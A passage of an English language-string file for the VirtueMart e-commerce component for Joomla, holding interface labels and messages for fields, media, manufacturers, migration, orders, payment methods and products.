COM_VIRTUEMART_FIELDS_CAPTCHA="Captcha Field (using com_securityimages)" COM_VIRTUEMART_FIELDS_CHECKBOX_MULTIPLE="Check Box (Multiple Select)" COM_VIRTUEMART_FIELDS_CHECKBOX_SINGLE="Check Box (Single Select)" COM_VIRTUEMART_FIELDS_DATE="Date" COM_VIRTUEMART_FIELDS_DELIMITER="--- Fieldset delimiter ---" COM_VIRTUEMART_FIELDS_DROPDOWN_MULTIPLE="Drop Down (Multi Select)" COM_VIRTUEMART_FIELDS_DROPDOWN_SINGLE="Drop Down (Single Select)" COM_VIRTUEMART_FIELDS_EDITORAREA="Editor Text Area" COM_VIRTUEMART_FIELDS_EMAIL="Email Address" COM_VIRTUEMART_FIELDS_NEWSLETTER="Newsletter Subscription" COM_VIRTUEMART_FIELDS_RADIOBUTTON="Radio Button" COM_VIRTUEMART_FIELDS_TEXTAREA="Text Area" COM_VIRTUEMART_FIELDS_TEXTFIELD="Text Field" COM_VIRTUEMART_FIELDS_WEBADDRESS="Web Address" COM_VIRTUEMART_FIELD_TYPE="Field Type" COM_VIRTUEMART_FILES_FILE_DELETE_FAILURE="Could not delete the File." COM_VIRTUEMART_FILES_FILE_DELETE_SUCCESS="File successfully deleted." COM_VIRTUEMART_FILES_FULLIMG_DELETE_FAILURE="Could not delete the Full Image File." COM_VIRTUEMART_FILES_FULLIMG_DELETE_SUCCESS="Full Image successfully deleted." COM_VIRTUEMART_FILES_IMAGE_RESIZE_SUCCESS="The Thumbnail Image has been successfully created!" COM_VIRTUEMART_FILES_LIST="Files List" COM_VIRTUEMART_FILES_LIST_FILENAME="Filename" COM_VIRTUEMART_FILES_LIST_FILETITLE="File Title" COM_VIRTUEMART_FILES_LIST_FILETYPE="Filetype" COM_VIRTUEMART_FILES_LIST_GO_UP="Go Up" COM_VIRTUEMART_FILES_LIST_ROLE="Role" COM_VIRTUEMART_FILES_LIST_UP="Up" COM_VIRTUEMART_FILES_NOT_FOUND="Sorry, but the requested file wasn't found!" COM_VIRTUEMART_FILES_PATH_ERROR="Please provide a valid path!" COM_VIRTUEMART_FILES_THUMBIMG_DELETE_FAILURE="Could not delete the Thumbnail Image File (maybe didn't exist)" COM_VIRTUEMART_FILES_THUMBIMG_DELETE_SUCCESS="Thumbnail Image successfully deleted." COM_VIRTUEMART_FILES_UPLOAD_FAILURE="File/Image Upload Error" COM_VIRTUEMART_FILE_DELETE_ERR="File could not be deleted %s" COM_VIRTUEMART_FILE_DELETE_OK="File deleted" COM_VIRTUEMART_FILE_SAVED_SUCCESS="Media File saved successfully" COM_VIRTUEMART_FILE_UPLOAD_OK="File %s uploaded" COM_VIRTUEMART_FILTER="Filter" COM_VIRTUEMART_FILTER_BY="Filter by" COM_VIRTUEMART_FOLDER_NOT_EXIST="Folder %s does not exist. You can create it, and place your images inside." COM_VIRTUEMART_FORM_EDIT=": [ Edit ]" COM_VIRTUEMART_FORM_GENERAL="General Informations" COM_VIRTUEMART_FORM_NEW=": [ New ]" COM_VIRTUEMART_FOR_SALE="File is for Sale" COM_VIRTUEMART_FOR_VIEW_WITH_PRESELECTED_MANUFACTURER="for a view with preselected manufacturer" COM_VIRTUEMART_FREE_SHIPPING_AMOUNT="Minimum Amount for Free Shipment" COM_VIRTUEMART_FREE_SHIPPING_AMOUNT_TIP="The amount (INCLUDING TAX!) which is the Minimum for Free Shipment (example: 50 means Free Shipment when the customer checks out with $50 (including tax) or more." COM_VIRTUEMART_FREE_SHIPPING_CART="Shipment is free on this Order" COM_VIRTUEMART_GENERALLY_PREVENT_HTTPS="Generally prevent https connections?" COM_VIRTUEMART_GENERALLY_PREVENT_HTTPS_TIP="When checked, the shopper is redirected to the http URL when not browsing in those shop areas, which are forced to use https." COM_VIRTUEMART_GO="Go" COM_VIRTUEMART_GROUP_NAME="Permission group name" COM_VIRTUEMART_HELP="Help" COM_VIRTUEMART_HELP_ABOUT="VirtueMart is the complete Open Source E-Commerce solution for Joomla!. It is an Application, which comes with a Component, more than 6 Modules and Mambots/Plugins. It has its roots in a Shopping Cart Script called 'phpShop' (Authors: Edikon Corp. & the phpShop community)." COM_VIRTUEMART_HELP_DONATION_BUTTON_ALT="Make payments with PayPal ‚Äì it's fast, free and secure!" COM_VIRTUEMART_HELP_DONATION_DESC="Please consider a small donation to the VirtueMart Project to help us keep up the work on this Component and create new Features." COM_VIRTUEMART_HELP_HOMEPAGE="Homepage" COM_VIRTUEMART_HELP_LICENSE_DESC="VirtueMart is licensed under the {licensename} License." COM_VIRTUEMART_HELP_PROJECTLEADER="Project Leader" COM_VIRTUEMART_HELP_TEAM="There is a small team of Developers who help in evolving this Shopping Cart Script." COM_VIRTUEMART_HELP_TOPICS="Help Topics" COM_VIRTUEMART_HELP_YOURVERSION="Your {product} version" COM_VIRTUEMART_HI="Hi," COM_VIRTUEMART_HIDE_OUT_OF_STOCK="Hide out of stock products" COM_VIRTUEMART_HTACCESS_DEFAULT_NOT_CREATED="Could not protect the folder %1s with an .htaccess file. Please add a file .htaccess to that folder containing the data %2s" COM_VIRTUEMART_ID="Id" COM_VIRTUEMART_IMAGE="Image" COM_VIRTUEMART_IMAGES="Images" COM_VIRTUEMART_INCLUDING_TAX="(including $tax % tax)" COM_VIRTUEMART_INFO_MSG_VAT_ZERO_LBL="0 (-none-)" COM_VIRTUEMART_INSTALLATION_PLZ_RENEW_CONFIG="Please use renew config from file in Tools => Updates/Migration" COM_VIRTUEMART_INSTALLATION_SUCCESSFUL="The Installation was SUCCESSFUL" COM_VIRTUEMART_INSTALLATION_WELCOME="Welcome to VirtueMart
      The complete e-Commerce shopping cart solution for Joomla" COM_VIRTUEMART_INSTALL_DONATION="Please consider a small donation to help us keep up the work on this component." COM_VIRTUEMART_INSTALL_FURTHER_HELP="Go to VirtueMart for further Help" COM_VIRTUEMART_INSTALL_GO_SHOP="Go to the Shop" COM_VIRTUEMART_INSTALL_SAMPLE_DATA="Install Sample Data" COM_VIRTUEMART_INTNOTES="Product Internal Notes" COM_VIRTUEMART_INVOICE="Invoice" COM_VIRTUEMART_INVOICE_CREATE="Force creation of invoice" COM_VIRTUEMART_INVOICE_NUMBER_RESERVED="InvoiceNumber is Reserved by Payment." COM_VIRTUEMART_INVOICE_PRINT="Print Invoice" COM_VIRTUEMART_ITEM="Item" COM_VIRTUEMART_ITEMS_MOVED="You sorted a total of %s Items" COM_VIRTUEMART_ITEMS_NOT_MOVED="items was already well-sorted" COM_VIRTUEMART_ITEM_MOVED_DOWN="Item Moved Down" COM_VIRTUEMART_ITEM_MOVED_UP="Item Moved Up" COM_VIRTUEMART_ITEM_NEXT="next order" COM_VIRTUEMART_ITEM_PREVIOUS="previous order" COM_VIRTUEMART_I_AGREE_TO_TOS="I agree to the Terms of Service" COM_VIRTUEMART_JPLUGINWARNING="Please configure VirtueMart Shipment or Payment Plugins inside VirtueMart component" ; JAVASCRIPT Declaration, respect the Json format use this format "key: 'value',..." DO NOT EDIT /change KEY COM_VIRTUEMART_JS_STRINGS=" editImage: 'edit image',select_all_text: 'select all options',select_some_options_text :'Select some Options', select_an_option_text:'Select an Option'" COM_VIRTUEMART_LANG_IS_EMPTY="No (%1$s) translation in %2$s, please fill the fields with Flags" COM_VIRTUEMART_LAST_UPDATED="Last Updated" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_MODIFIED="Last modified products first" COM_VIRTUEMART_LEGALINFO_SHORTTEXT="
      Returns Policy
      You can cancel this order within two weeks after we have received it. You can return new, unopened items from a cancelled order within 2 weeks after they have been delivered to you. Items should be returned in their original packaging. For more information on cancelling orders and returning items, see the Our Returns Policy page." COM_VIRTUEMART_LIST="List" COM_VIRTUEMART_LISTREVIEWS="List Reviews" COM_VIRTUEMART_LIST_ALL_PRODUCTS="List All Products" COM_VIRTUEMART_LIST_ALL_ROLES="All roles" COM_VIRTUEMART_LIST_ALL_TYPES="All types" COM_VIRTUEMART_LIST_CHILDREN_FROM_PARENT="List all %s children" COM_VIRTUEMART_LIST_EMPTY_OPTION="Please Select" COM_VIRTUEMART_LIST_ORDER="List Order" COM_VIRTUEMART_LOST_PASSWORD="Lost Password?" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION="Low Stock Notification" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION_EMAIL_MESSAGE="There are only {product_in_stock} stock remaining for the product {product_name} (SKU {product_sku})." COM_VIRTUEMART_LOW_STOCK_NOTIFICATION_EMAIL_SUBJECT="Low Stock reached for %s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_C="[%3$s], Confirmed order at %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_P="[%3$s], Order is pending at %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_R="[%3$s], Refunded order by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_S="[%3$s], Shipped order from %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_U="[%3$s], You confirmed an order at %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_X="[%3$s], Cancelled order by %1$s, total %2$s" COM_VIRTUEMART_MANAGE_USER_FIELDS="Shopper Field List" COM_VIRTUEMART_MANUFACTURER="Manufacturer" COM_VIRTUEMART_MANUFACTURERCATEGORIES="Manufacturer category" COM_VIRTUEMART_MANUFACTURER_CATEGORY="Manufacturer category" COM_VIRTUEMART_MANUFACTURER_CATEGORY_DESCRIPTION="Manufacturer category Description" COM_VIRTUEMART_MANUFACTURER_CATEGORY_DETAILS="Manufacturer category Details" COM_VIRTUEMART_MANUFACTURER_CATEGORY_LIST="List" COM_VIRTUEMART_MANUFACTURER_CATEGORY_NAME="Manufacturer category Name" COM_VIRTUEMART_MANUFACTURER_CATEGORY_S="Manufacturer categories" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_INFO_LBL="Category Information" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_LBL="Manufacturer Category Form" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_NAME="Category Name" COM_VIRTUEMART_MANUFACTURER_CAT_LIST_LBL="Manufacturer Category List" COM_VIRTUEMART_MANUFACTURER_CAT_MANUFACTURERS="Manufacturers" COM_VIRTUEMART_MANUFACTURER_CAT_NAME="Category Name" COM_VIRTUEMART_MANUFACTURER_DESCRIPTION="Description" COM_VIRTUEMART_MANUFACTURER_DETAILS="Manufacturer Details" COM_VIRTUEMART_MANUFACTURER_EMAIL="Manufacturer Email" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT="Select a Manufacturer" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_DESC="Creates a link to display the selected Manufacturer" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE="Select a Manufacturer" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE_DESC="Creates a link to the Manufacturer" COM_VIRTUEMART_MANUFACTURER_FORM_INFO_LBL="Manufacturer Information" COM_VIRTUEMART_MANUFACTURER_IMAGE="Manufacturer image" COM_VIRTUEMART_MANUFACTURER_LIST_ADMIN="Admin" COM_VIRTUEMART_MANUFACTURER_MOD="Manufacturers" COM_VIRTUEMART_MANUFACTURER_NAME="Manufacturer Name" COM_VIRTUEMART_MANUFACTURER_S="Manufacturers" COM_VIRTUEMART_MANUFACTURER_SHOW="Show all manufacturer in this category" COM_VIRTUEMART_MANUFACTURER_URL="Manufacturer URL" COM_VIRTUEMART_MANUFACTURER_URL_TIP="Manufacturer URL must start with http://" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_DESC="Displays VirtueMart manufacturers List" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_TITLE="VirtueMart Manufacturer Default Layout" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_DESC="Displays VirtueMart Manufacturer Details Layout" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_TITLE="VirtueMart Manufacturer Details Layout" COM_VIRTUEMART_MEDIA="Media" COM_VIRTUEMART_MEDIA_CHOOSE_TYPE="Choose media type for media with filename %1$s" COM_VIRTUEMART_MEDIA_MANAGER="Media File Manager" COM_VIRTUEMART_MEDIA_MUST_HAVE_TITLE="Media files must have a title" COM_VIRTUEMART_MEDIA_MUST_HAVE_URL="Media files must have an url" COM_VIRTUEMART_MEDIA_NO_PATH_TYPE="Media of type %1$s has no relative URL set, Please configure it first and come back here." COM_VIRTUEMART_MEDIA_S="Media Files" COM_VIRTUEMART_MEDIA_SHOULD_HAVE_MIMETYPE="Media file %s should have a mimetype" COM_VIRTUEMART_MEDIA_SHOULD_NOT_BMP="Bmp file %s is not good choice for internet" COM_VIRTUEMART_MENU="Menu" COM_VIRTUEMART_MESSAGE_PROMPT="Enter your Message" COM_VIRTUEMART_METAAUTHOR="Author" COM_VIRTUEMART_METADESC="Meta Description" COM_VIRTUEMART_METAINFO="Meta Information" COM_VIRTUEMART_METAKEY="Meta Keywords" COM_VIRTUEMART_METAROBOTS="Meta Robots" COM_VIRTUEMART_MF_CATEGORY_NAME="manufacturer category name" COM_VIRTUEMART_MF_NAME="Manufacturer Name" COM_VIRTUEMART_MIGRATE="Start migration" COM_VIRTUEMART_MIGRATION_DCAT_BROWSE="Default category layout (browse page) without .php" COM_VIRTUEMART_MIGRATION_DCAT_BROWSE_TIP="Enter here your default browse, to prevent that VM2 is handling it as override. You can set your default in the common vm config and per category" COM_VIRTUEMART_MIGRATION_DCAT_FLY="Default category product layout (flypage) without .php" COM_VIRTUEMART_MIGRATION_DCAT_FLY_TIP="Enter here your default flypage, to prevent that VM2 is handling it as override. You can set your default in the common vm config and per category and additionally per product" COM_VIRTUEMART_MIGRATION_REWRITE_ORDER_NUMBER="Rewrite order numbers" COM_VIRTUEMART_MIGRATION_STOREOWNERID="Write here the new store owner id" COM_VIRTUEMART_MIGRATION_TAB="Migration" COM_VIRTUEMART_MIGRATION_UPDATE="Tools & Migration" COM_VIRTUEMART_MIGRATION_USER_ORDER_ID ="Use the vm1 order id as vm2 order number" COM_VIRTUEMART_MIGRA_PORTFLY="Port Fly pages" COM_VIRTUEMART_MIGRA_PORTFLY_TIP="In case you used different flypages in VM1 and you want to keep this system. Be aware it is NOT necessary anylonger to use different flypage for different number of products per row." COM_VIRTUEMART_MIGRA_SGRP_PRICES="Port shoppergroups assigned to prices" COM_VIRTUEMART_MIGRA_SGRP_PRICES_TIP="We suggest not to use this feature, except you are using multiple prices per product and shoppergroup." COM_VIRTUEMART_MISSING_FLAG="Missing Flag %1$s for language %2$s.
      Go to Extensions > Language Manager > Content, and check the parameter Image Prefix for this language." COM_VIRTUEMART_MODIFIED_ON="Product Modified Date" COM_VIRTUEMART_MODULES_FORCE_HTTPS="Shop areas which must use https" COM_VIRTUEMART_MODULES_FORCE_HTTPS_TIP="Here you can use a comma-separated list of shop core modules (See 'Admin' ='> 'List Modules'), which will be using https connections." COM_VIRTUEMART_MONTH="Month" COM_VIRTUEMART_MONTH_S="Months" COM_VIRTUEMART_MORE="More..." COM_VIRTUEMART_MORE_CATEGORIES="more categories" COM_VIRTUEMART_MORE_IMAGES="View More Images" COM_VIRTUEMART_MORE_LANGUAGES="More languages here %1$s" COM_VIRTUEMART_MOVE="Delete/Move" COM_VIRTUEMART_MOVE_DOWN="Move Down" COM_VIRTUEMART_MOVE_UP="Move Up" COM_VIRTUEMART_MULTIPLE_PRICES="Multiple Prices" COM_VIRTUEMART_MULTISELECT="Multiselect" COM_VIRTUEMART_NAME="Name" COM_VIRTUEMART_NAME_OF_USERFIELD_CONTAINS_INVALID_CHARACTERS="The name of the userfield contains invalid characters" COM_VIRTUEMART_NEVER="-Never-" COM_VIRTUEMART_NEW_ITEM="New item" COM_VIRTUEMART_NEW_ITEMS_PLACE="New items default to the last place. Ordering can be changed after this item is saved." COM_VIRTUEMART_NEW_ORDERING_SAVED="New ordering saved" COM_VIRTUEMART_NEW_USER_MESSAGE="Hello %s, a new user have registered at %s." COM_VIRTUEMART_NEW_USER_MESSAGE_SUBJECT="New User Details" COM_VIRTUEMART_NEW_USER_MESSAGE_VENDOR_SUBJECT="A new user %1$s registered at your shop" COM_VIRTUEMART_NEW_VENDOR="New Vendor" COM_VIRTUEMART_NO="No" COM_VIRTUEMART_NONE="None" COM_VIRTUEMART_NON_UNIQUE="Error cant save %s without a non unique %s" COM_VIRTUEMART_NON_UNIQUE_WARN="%s was not unique in table %s, added random number: %s" COM_VIRTUEMART_NOODP_NOYDIR="noodp, noydir" COM_VIRTUEMART_NOODP_NOYDIR_NOFOLLOW="noodp, noydir, no follow" COM_VIRTUEMART_NOTIFIED="Notified" COM_VIRTUEMART_NOTIFY_CUSTOMER_ERR_SEND="Could not send a message to " COM_VIRTUEMART_NOTIFY_CUSTOMER_SEND_MSG="Message sent to" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USERINFO_DATA="Was not able to save the VirtueMart userinfo address data" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA="Was not able to save the VirtueMart user data" COM_VIRTUEMART_NOT_AUTH="You are not authorized to view this resource." COM_VIRTUEMART_NO_ACCOUNT="No Account yet?" COM_VIRTUEMART_NO_CUSTOMER="You are not a Registered Shopper yet. Please provide your Billing Information." COM_VIRTUEMART_NO_DESCRIPTION_FOUND="No description found" COM_VIRTUEMART_NO_FILES_FOUND="No files found" COM_VIRTUEMART_NO_IMAGE_FOUND="no image found" COM_VIRTUEMART_NO_IMAGE_SET="No image set" COM_VIRTUEMART_NO_ITEMS_SELECTED="No Items Selected" COM_VIRTUEMART_NO_MEDIA="Sorry,It's not a valid media file" COM_VIRTUEMART_NO_MEDIA_FILES="No Images Found" COM_VIRTUEMART_NO_MORE_ORDERS="No more Orders" COM_VIRTUEMART_NO_PAYMENT_PLUGINS_INSTALLED="There are no payment plugins installed, please go to http://dev.VirtueMart.net/projects/VirtueMart/files and download/install the latest com_virtuemart_aio" COM_VIRTUEMART_NO_PRICE_SET="No price set" COM_VIRTUEMART_NO_RESTRICTION="No Restriction" COM_VIRTUEMART_NO_REVIEWS="There are yet no reviews for this product." COM_VIRTUEMART_NO_SEARCH_RESULT="Your search returned 0 results.
      " COM_VIRTUEMART_NO_SHIPMENT_PLUGINS_INSTALLED="There are no shipment plugins installed, please go to http://dev.VirtueMart.net/projects/VirtueMart/files and download/install the latest com_virtuemart_aio" COM_VIRTUEMART_NO_VALID_DOWNLOADROOT_SET="Download directory not set" COM_VIRTUEMART_OFFLINE_MODE="OFFLINE MODE" COM_VIRTUEMART_ONCHECKOUT_DEFAULT_TEXT_REGISTER="Please use register to get the advantages of a registered user, else use save for anonymous checkout" COM_VIRTUEMART_ONLY_JUSER="only joomla" COM_VIRTUEMART_OPERATION_CANCELED="Operation Canceled!!" COM_VIRTUEMART_ORDER="Order" COM_VIRTUEMART_ORDERBY="Sort by" COM_VIRTUEMART_ORDERING="Ordering" COM_VIRTUEMART_ORDERS="Orders" COM_VIRTUEMART_ORDERSTATUS="Order Status" COM_VIRTUEMART_ORDERSTATUS_DETAILS="Order Status Details" COM_VIRTUEMART_ORDERSTATUS_S="Order Statuses" COM_VIRTUEMART_ORDERS_LIST="Order list" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_DESC="VirtueMart List Orders" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE="VirtueMart List Orders" COM_VIRTUEMART_ORDER_CHANGE_UPD_BILL="Change Bill to Address" COM_VIRTUEMART_ORDER_CHANGE_UPD_SHIP="Change Ship to Address" COM_VIRTUEMART_ORDER_CREATE="Create order head" COM_VIRTUEMART_ORDER_DELETE_ERR_ID="Unable to delete without the order ID." COM_VIRTUEMART_ORDER_DELETE_ITEM_JS="Are you sure you want to delete this Item?" COM_VIRTUEMART_ORDER_EDIT="Change Order Details" COM_VIRTUEMART_ORDER_EDIT_ACTIONS="Actions" COM_VIRTUEMART_ORDER_EDIT_CALCULATE="calculate" COM_VIRTUEMART_ORDER_EDIT_CALCULATE_DESC="Calculate the value automatically, uncheck to use the input value." COM_VIRTUEMART_ORDER_EDIT_CHOOSE_PRODUCT="Select a Product" COM_VIRTUEMART_ORDER_EDIT_CHOOSE_PRODUCT_BY_SKU="Select SKU" COM_VIRTUEMART_ORDER_EDIT_EDIT_ORDER="Change Order" COM_VIRTUEMART_ORDER_EDIT_ERROR_QUANTITY_MUST_BE_HIGHER_THAN_0="Quantity must be greater than 0." COM_VIRTUEMART_ORDER_EDIT_ORDER_ID="Edit Order ID" COM_VIRTUEMART_ORDER_EDIT_ORDER_NUMBER="Edit Order Number" COM_VIRTUEMART_ORDER_EDIT_PRODUCT_ADDED="The Product was added to the Order" COM_VIRTUEMART_ORDER_EDIT_PRODUCT_DELETED="The Product was removed from this Order" COM_VIRTUEMART_ORDER_EDIT_QUANTITY_UPDATED="Quantity has been updated" COM_VIRTUEMART_ORDER_EDIT_USER="Edit user" COM_VIRTUEMART_ORDER_LABEL_NEVERGENERATED="Label has not been generated yet" COM_VIRTUEMART_ORDER_LABEL_NOTFOUND="Order record not found in shipment label database." COM_VIRTUEMART_ORDER_LABEL_ORDERID_NOTVALID="Please provide a valid, numeric, Order ID, not '{order_id}'" COM_VIRTUEMART_ORDER_LABEL_SHIPPINGLABEL_LBL="Shipment Label" COM_VIRTUEMART_ORDER_LABEL_SIGNATURENEVER="Signature was never retrieved" COM_VIRTUEMART_ORDER_LINK="Follow this link to view the Order Details." COM_VIRTUEMART_ORDER_LIST_ID="Order ID" COM_VIRTUEMART_ORDER_LIST_LBL="Order List" COM_VIRTUEMART_ORDER_LIST_MDATE="Last Modified" COM_VIRTUEMART_ORDER_LIST_NOTIFY="Notify Shopper?" COM_VIRTUEMART_ORDER_LIST_NOTIFY_ERR="Please change the Order Status first!" COM_VIRTUEMART_ORDER_LIST_NUMBER="Order number" COM_VIRTUEMART_ORDER_LIST_PRINT_LABEL="Print Label" COM_VIRTUEMART_ORDER_LIST_SEARCH_BY_DATE="Search by date" COM_VIRTUEMART_ORDER_LIST_STATUS="Status" COM_VIRTUEMART_ORDER_LIST_TRACK="Track" COM_VIRTUEMART_ORDER_LIST_VOID_LABEL="Void Label" COM_VIRTUEMART_ORDER_MOD="Orders & Shoppers" COM_VIRTUEMART_ORDER_NOTFOUND="Order not found! It may have been deleted." COM_VIRTUEMART_ORDER_NOT_UPDATED="No change, please change the status in the orders to update it !" COM_VIRTUEMART_ORDER_NOT_UPDATED_SUCCESSFULLY="%1$s orders of %2$s have reported errors" COM_VIRTUEMART_ORDER_RESET="Reset order head" COM_VIRTUEMART_ORDER_S="Orders" COM_VIRTUEMART_ORDER_SAVE_USER_INFO="Save order head" COM_VIRTUEMART_ORDER_STATUS_CANCELLED="Cancelled" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_1="The Status of your Order No. %s has been changed." COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_2="New Status is : " COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_3="To view the Order Details, please follow this link (or copy it into your browser)" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_SUBJ="Order Status Change" COM_VIRTUEMART_ORDER_STATUS_CODE="Order Status Code" COM_VIRTUEMART_ORDER_STATUS_CODE_CORE="Order Status Code used by VirtueMart. Cannot be deleted." COM_VIRTUEMART_ORDER_STATUS_CODE_EXISTS="This Order Status Code already exists. Please choose another one." COM_VIRTUEMART_ORDER_STATUS_CODE_TIP="Order Status Code is only one character" COM_VIRTUEMART_ORDER_VIEW_LIST_DESC="VirtueMart List Orders" COM_VIRTUEMART_ORDER_VIEW_LIST_TITLE="VirtueMart List Orders" COM_VIRTUEMART_OVERWRITE_FINAL="Overwrite final" COM_VIRTUEMART_OVERWRITE_OFF="Disabled" COM_VIRTUEMART_OVERWRITE_PRICE_TAX="Overwrite price to be taxed" COM_VIRTUEMART_PAYMENT="Payment" COM_VIRTUEMART_PAYMENTMETHOD="Payment Method" COM_VIRTUEMART_PAYMENTMETHOD_CLASS_NOT_EXIST="The selected Payment Method can't be instantiated because it doesn't exist." COM_VIRTUEMART_PAYMENTMETHOD_ELEMENT="Code" COM_VIRTUEMART_PAYMENTMETHOD_ELEMENT_TIP="A unique code for the payment method (p.e PP)" COM_VIRTUEMART_PAYMENTMETHOD_ERR_CODE="Please enter a payment method code." COM_VIRTUEMART_PAYMENTMETHOD_ERR_NAME="Please enter a payment method name." COM_VIRTUEMART_PAYMENTMETHOD_FORM_CREDITCARD_LIST="Credit Card Types" COM_VIRTUEMART_PAYMENTMETHOD_FORM_DISCOUNT="Discount" COM_VIRTUEMART_PAYMENTMETHOD_FORM_ENABLE_PROCESSOR="Payment Method Type" COM_VIRTUEMART_PAYMENTMETHOD_FORM_NAME="Payment Name" COM_VIRTUEMART_PAYMENTMETHOD_FORM_SHOPPER_GROUP="Shopper Group" COM_VIRTUEMART_PAYMENTMETHOD_ID_NOT_PROVIDED="Error" COM_VIRTUEMART_PAYMENTMETHOD_LIST_CODE="Code" COM_VIRTUEMART_PAYMENTMETHOD_LIST_DISCOUNT="Discount" COM_VIRTUEMART_PAYMENTMETHOD_LIST_ENABLE_PROCESSOR="Payment Method Type" COM_VIRTUEMART_PAYMENTMETHOD_LIST_NAME="Name" COM_VIRTUEMART_PAYMENTMETHOD_LIST_SHOPPER_GROUP="Shopper Group" COM_VIRTUEMART_PAYMENTMETHOD_NAME_ALREADY_EXISTS="Payment Methods name already exist. Please select another name " COM_VIRTUEMART_PAYMENTMETHOD_S="Payment Methods" COM_VIRTUEMART_PAYMENTMETHOD_UPDATE_SELECT="Please select a payment method to update." COM_VIRTUEMART_PAYMENT_CANCELLED_BY_SHOPPER="Payment cancelled by the shopper" COM_VIRTUEMART_PAYMENT_CLASS_NAME="Payment Method" COM_VIRTUEMART_PAYMENT_CLASS_NAME_TIP="Select the payment method and click »Apply« button in Joomla 1.5.x or »Save« button in Joomla 2.5.x to display the appropriate parameters in the configuration tab" COM_VIRTUEMART_PAYMENT_ELEMENT="Payment Method" COM_VIRTUEMART_PAYMENT_FORM_DESCRIPTION="Payment Description" COM_VIRTUEMART_PAYMENT_LIST_DESCRIPTION_LBL="Payment Description" COM_VIRTUEMART_PAYMENT_LIST_LBL="Payment Method List" COM_VIRTUEMART_PAYMENT_LIST_NAME="Payment Name" COM_VIRTUEMART_PAYMENT_NAME="Payment Name" COM_VIRTUEMART_PAYMENT_SHOPPERGROUPS="Shopper Group" COM_VIRTUEMART_PAYMENT_TRANSACTION_SUCCESS="Payment successfully processed" COM_VIRTUEMART_PAYMENT_TYPE="Method Type" COM_VIRTUEMART_PERMISSION_GROUP_MUST_HAVE_NAME="The permission group must have a name." COM_VIRTUEMART_PERMISSION_GROUP_NAME_INVALID_CHARACTERS="The permission group name contains invalid characters" COM_VIRTUEMART_PLEASE_SEL_ITEM="Please select an item" COM_VIRTUEMART_PLUGIN_COST_DISPLAY="Discount/Fee " COM_VIRTUEMART_PLUGIN_WARNING="Please configure VirtueMart Shipment or Payment Plugins inside VirtueMart component
      Parameters set here will not be used at all." COM_VIRTUEMART_PN_DISPLAY_NR="Display #" COM_VIRTUEMART_PREVIEW="Preview" COM_VIRTUEMART_PRINT="Print" COM_VIRTUEMART_PRINT_VIEW="Print View" COM_VIRTUEMART_PRODUCT="Product" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT="Select a Product" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT_DESC="Creates a link to this display the selected Product" COM_VIRTUEMART_PRODUCTDETAILS_PRODUCT="Product" COM_VIRTUEMART_PRODUCTDETAILS_TO_SET_PRODUCT_VIEW="To set the product view" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_DESC="Displays a single product" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_TITLE="VirtueMart Product Details Layout" COM_VIRTUEMART_PRODUCTS_MOVE_TOOLBAR="Move Products" COM_VIRTUEMART_PRODUCT_ADDING_FAILED="Something went wrong when trying to add the product!" COM_VIRTUEMART_PRODUCT_ADD_CHILD="Add a Child Product" COM_VIRTUEMART_PRODUCT_ADD_CHILD_TIP="a Child Product can be added once this product is saved" COM_VIRTUEMART_PRODUCT_ADD_PRICE="Add new price" COM_VIRTUEMART_PRODUCT_ALIAS="Product Alias" COM_VIRTUEMART_PRODUCT_AVAILABILITY="Product Availability" COM_VIRTUEMART_PRODUCT_AVAILABLE_AGAIN="It will be available again on:" COM_VIRTUEMART_PRODUCT_AVAILABLE_DATE="Product Available Date" COM_VIRTUEMART_PRODUCT_BASEPRICE="Base price " COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT="Base price for variant " COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX="Base price with tax " COM_VIRTUEMART_PRODUCT_BOX="Units in Box" COM_VIRTUEMART_PRODUCT_BOX_DESCRIPTION="NO DESCRIPTION" COM_VIRTUEMART_PRODUCT_CALL="Call for Pricing" COM_VIRTUEMART_PRODUCT_CANT_DELETE_CHILD="Attention product is parent, please delete the children first" COM_VIRTUEMART_PRODUCT_CATEGORY="Product Category" COM_VIRTUEMART_PRODUCT_CATEGORY_NAME="Product Category name" COM_VIRTUEMART_PRODUCT_CHILD="Child Product" COM_VIRTUEMART_PRODUCT_CHILDREN_LIST="Product Children" COM_VIRTUEMART_PRODUCT_CHILDREN_OF="Product is Children of" COM_VIRTUEMART_PRODUCT_CHILD_CREATED_SUCCESSFULLY="Child product created successfully" COM_VIRTUEMART_PRODUCT_CHILD_LIST="Child Products" COM_VIRTUEMART_PRODUCT_CHILD_NAME="Product Child Name" COM_VIRTUEMART_PRODUCT_CLONE="Clone Product" 